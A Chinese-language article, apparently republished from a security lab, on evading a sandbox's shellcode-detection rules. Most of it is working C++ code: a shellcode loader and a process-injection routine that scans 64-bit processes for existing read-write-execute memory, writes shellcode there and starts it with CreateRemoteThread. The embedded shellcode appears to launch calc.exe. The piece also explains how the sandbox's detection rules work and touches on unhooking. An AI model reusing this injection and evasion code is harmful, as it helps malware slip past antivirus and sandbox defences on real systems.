使用場景
在某次實踐中碰到一個沙箱,在不知道沙箱強度的情況下只能一點點去探索,程序通過調用ShellCode彈出計算器。丟到沙箱里面進行測試發現被沙箱檢測到并且爆出了執行ShellCode的行為。了解過沙箱的朋友都知道,沙箱一般是通過Hook關鍵API得到調用信息返回給腳本去匹配規則。
解析
#include#include unsignedcharbuf[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50" "x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52" "x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a" "x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41" "xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52" "x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48" "x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40" "x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48" "x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41" "x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1" "x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c" "x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01" "xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a" "x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b" "x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00" "x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b" "x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd" "x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0" "x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff" "xd5x63x61x6cx63x2ex65x78x65x00"; intmain() { autoaddr = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory((HANDLE)-1, addr, buf, sizeof(buf), NULL); CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); std::cin.get(); return0; }
在這個函數中我們執行ShellCode的調用了三個關鍵的函數VirtualAlloc,WriteProcessMemory,CreateThread而這三個函數是執行ShellCode或者注入常用的API,這里可以肯定的一點是已經被沙箱掛鉤了。所以我們要繞過要不就是脫鉤要不就是猜規則的寫法找規則的漏洞。
規則
... iffunc("VirtualAlloc") == True: iffunc("WriteProcessMemory") == True: iffunc("CreateThread") == True: print("執行了ShellCode") ...
func函數中檢測鉤子輸出文件或者從內存信息獲取到這個三個函數的觸發順序,現在觸發了這條規則,就說明我們目前是在執行ShellCode,因此成為了報毒的一個關鍵點。
如何繞過
最簡單的繞過是使用類似功能的函數進行替代,這里也可能存在一個問題,就是常見的那些函數已經被掛鉤了,因為很多沙箱默認就掛鉤了很多內存相關的API,如果我們如果只是替換一些函數可能還是會被檢測到,當然不排除這些方式可以繞過一些沙箱,單這次遇到的沙箱我測試替換了很多API還是會被檢測到。那么我們只能從規則方面去下手了。
我們反過來想一下,我們執行ShellCode就需要先申請可執行的內存,在寫數據到內存中,在啟動線程去執行數據。那么我們可不可以不申請內存就可以執行。這就是我們繞過不這么健全規則的一種方式。
構造
1. 遍歷系統進程
遍歷進程的方式有很多中,這里我們選擇使用Windows Api進行遍歷,具體代碼如下:
#include#include #include intmain() { PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); Process32First(snapshot, &processEntry); do { std::cout<< processEntry.szExeFile << " pid:"?<< processEntry.th32ProcessID << " "; ??} while?(Process32Next(snapshot, &processEntry)); ??return?0; }
下一步我們要去判斷軟件架構,為什么要進行這一步是取決于我們的ShellCode是多少位的,這里我的ShellCode是64位,所以要過濾掉32位進程,不然在后續找到可讀可寫可執行內存的時候我們雖然可以寫入到內存,但不能執行起來。
2. 判斷軟件架構
#include#include #include intmain() { PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); Process32First(snapshot, &processEntry); HANDLE process = NULL; LPVOID offset = 0; MEMORY_BASIC_INFORMATION mbi = {}; do { process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID); if(process) { BOOL isWow64 = FALSE; if(IsWow64Process(process, &isWow64) && isWow64) { // 過濾掉32位進程 CloseHandle(process); continue; } CloseHandle(process); std::cout<< processEntry.szExeFile << " pid:"?<< processEntry.th32ProcessID << " is 64-bit."?<< " "; ????} ??} while?(Process32Next(snapshot, &processEntry)); ??return?0; }
IsWow64Process(process, &isWow64) && isWow64
新加入的代碼中使用IsWow64Process這個API去判斷進程是否為64位,如果不是我們就進行下次一循環。如果是我們需要架構的進程我們就要進行下一步判斷進程中是否有可讀可寫可執行的內存讓我們去構造ShellCode。
3. 判斷進程是否已經有可讀可寫可執行的內存
#include#include #include intmain() { PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); Process32First(snapshot, &processEntry); HANDLE process = NULL; LPVOID offset = 0; MEMORY_BASIC_INFORMATION mbi = {}; do { process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID); if(process) { BOOL isWow64 = FALSE; if(IsWow64Process(process, &isWow64) && isWow64) { // 過濾掉32位進程 CloseHandle(process); continue; } std::cout<< processEntry.szExeFile << " pid:"?<< processEntry.th32ProcessID << " "; ??????while?(VirtualQueryEx(process, offset, &mbi, sizeof(mbi))) ??????{ ????????if?(mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE) ????????{ ??????????std::cout?<< " RWX內存地址: 0x"?<< std::hex << mbi.BaseAddress << " "; ????????} ????????offset = (LPVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize); ??????} ??????offset = 0; ??????CloseHandle(process); ????} ??} while?(Process32Next(snapshot, &processEntry)); ??return?0; }
這種就是我們可操作的內存,主要使用到的函數是VirtualQueryEx,通過遍歷出進程中所有內存,對內存屬性進行判斷,篩選出我們需要的內存。
4. 寫入內存到獲取的分塊中
#include#include #include unsignedcharbuf[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50" "x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52" "x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a" "x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41" "xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52" "x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48" "x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40" "x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48" "x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41" "x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1" "x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c" "x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01" "xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a" "x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b" "x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00" "x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b" "x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd" "x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0" "x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff" "xd5x63x61x6cx63x2ex65x78x65x00"; intmain() { PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); Process32First(snapshot, &processEntry); HANDLE process = NULL; LPVOID offset = 0; MEMORY_BASIC_INFORMATION mbi = {}; boolisExecute = false; do { process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID); if(process) { BOOL isWow64 = FALSE; if(IsWow64Process(process, &isWow64) && isWow64) { // 過濾掉32位進程 CloseHandle(process); continue; } while(VirtualQueryEx(process, offset, &mbi, sizeof(mbi))) { if(mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE) { std::cout<< processEntry.szExeFile << " pid:"?<< processEntry.th32ProcessID << " 寫入地址: 0x"?<< std::hex << mbi.BaseAddress << std::endl; ??????????WriteProcessMemory(process, mbi.BaseAddress, buf, sizeof(buf), NULL); ??????????CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL); ??????????isExecute = true; ??????????break; ????????} ????????offset = (LPVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize); ??????} ??????offset = 0; ??????CloseHandle(process); ??????if?(isExecute) ??????{ ????????break; ??????} ????} ??} while?(Process32Next(snapshot, &processEntry)); ??return?0; }
這里需要注意的是第一次獲取到可用內存的時候就可以退出循環了,避免ShellCode多次執行。
5. 執行ShellCode完成目標
驗證內存
檢測方式
注入檢測:這種方式不管怎么繞,都必須要經過的一點,都要通過一個進程去往另外一個進程中去寫入數據,而這個行為是很好檢測的。遇到這種基本可以直接判定為是惡意軟件。
微步檢測:觸發ATTCK
微步分析出現兩個檢測總得來說就是進行了注入,規則可能是針對WriteProcessMemory這個函數進行檢測。
BOOL WINAPI WriteProcessMemory(
In HANDLE hProcess,
In LPVOID lpBaseAddress,
In_reads_bytes(nSize) LPCVOID lpBuffer,
In SIZE_T nSize,
Out_opt SIZE_T* lpNumberOfBytesWritten);
第一個參數是要被寫入數據的進程句柄,這里可以根據句柄去判斷出寫入的是哪個進程,在與當前掛鉤的進程進行對比,從而判斷出來是寫入到其他進程還是當前進程,如果是其他進程就觸發規則‘修改其他進程內存數據’。而這種我們也可以通過前面講到繞過EDR脫鉤來反沙箱鉤子,不過這種方式只能繞過三環的鉤子,如果是內核鉤子我們就需要在0環對抗了。還有就是我們脫鉤也是一種很常見的高危行為,常規脫鉤大概率是會被直接檢測出的。
注入規則的觸發是WriteProcessMemory + CreateRemoteThread,如果單純的去調用WriteProcessMemory觸發的是執行遠程函數這個規則,應該是針對這兩個API去組建了一個新的規則。
總結
本次試驗的目的并不是去繞過一款沙箱。主要是要總結經驗,去根據不同的引擎和規則針對性的去改變自己的免殺方式,沒有哪種方式的免殺是可以永久不殺的,也沒有任何沙箱可以百分百檢測到各種行為。主要是在于繞過的方式和規則的構建。要多嘗試總結出被殺的原因。
審核編輯:劉清
-
過濾器
+關注
關注
1文章
428瀏覽量
19597 -
Shell
+關注
關注
1文章
365瀏覽量
23359 -
API接口
+關注
關注
1文章
84瀏覽量
10437
原文標題:免殺技術之優雅地繞過函數調用鏈
文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論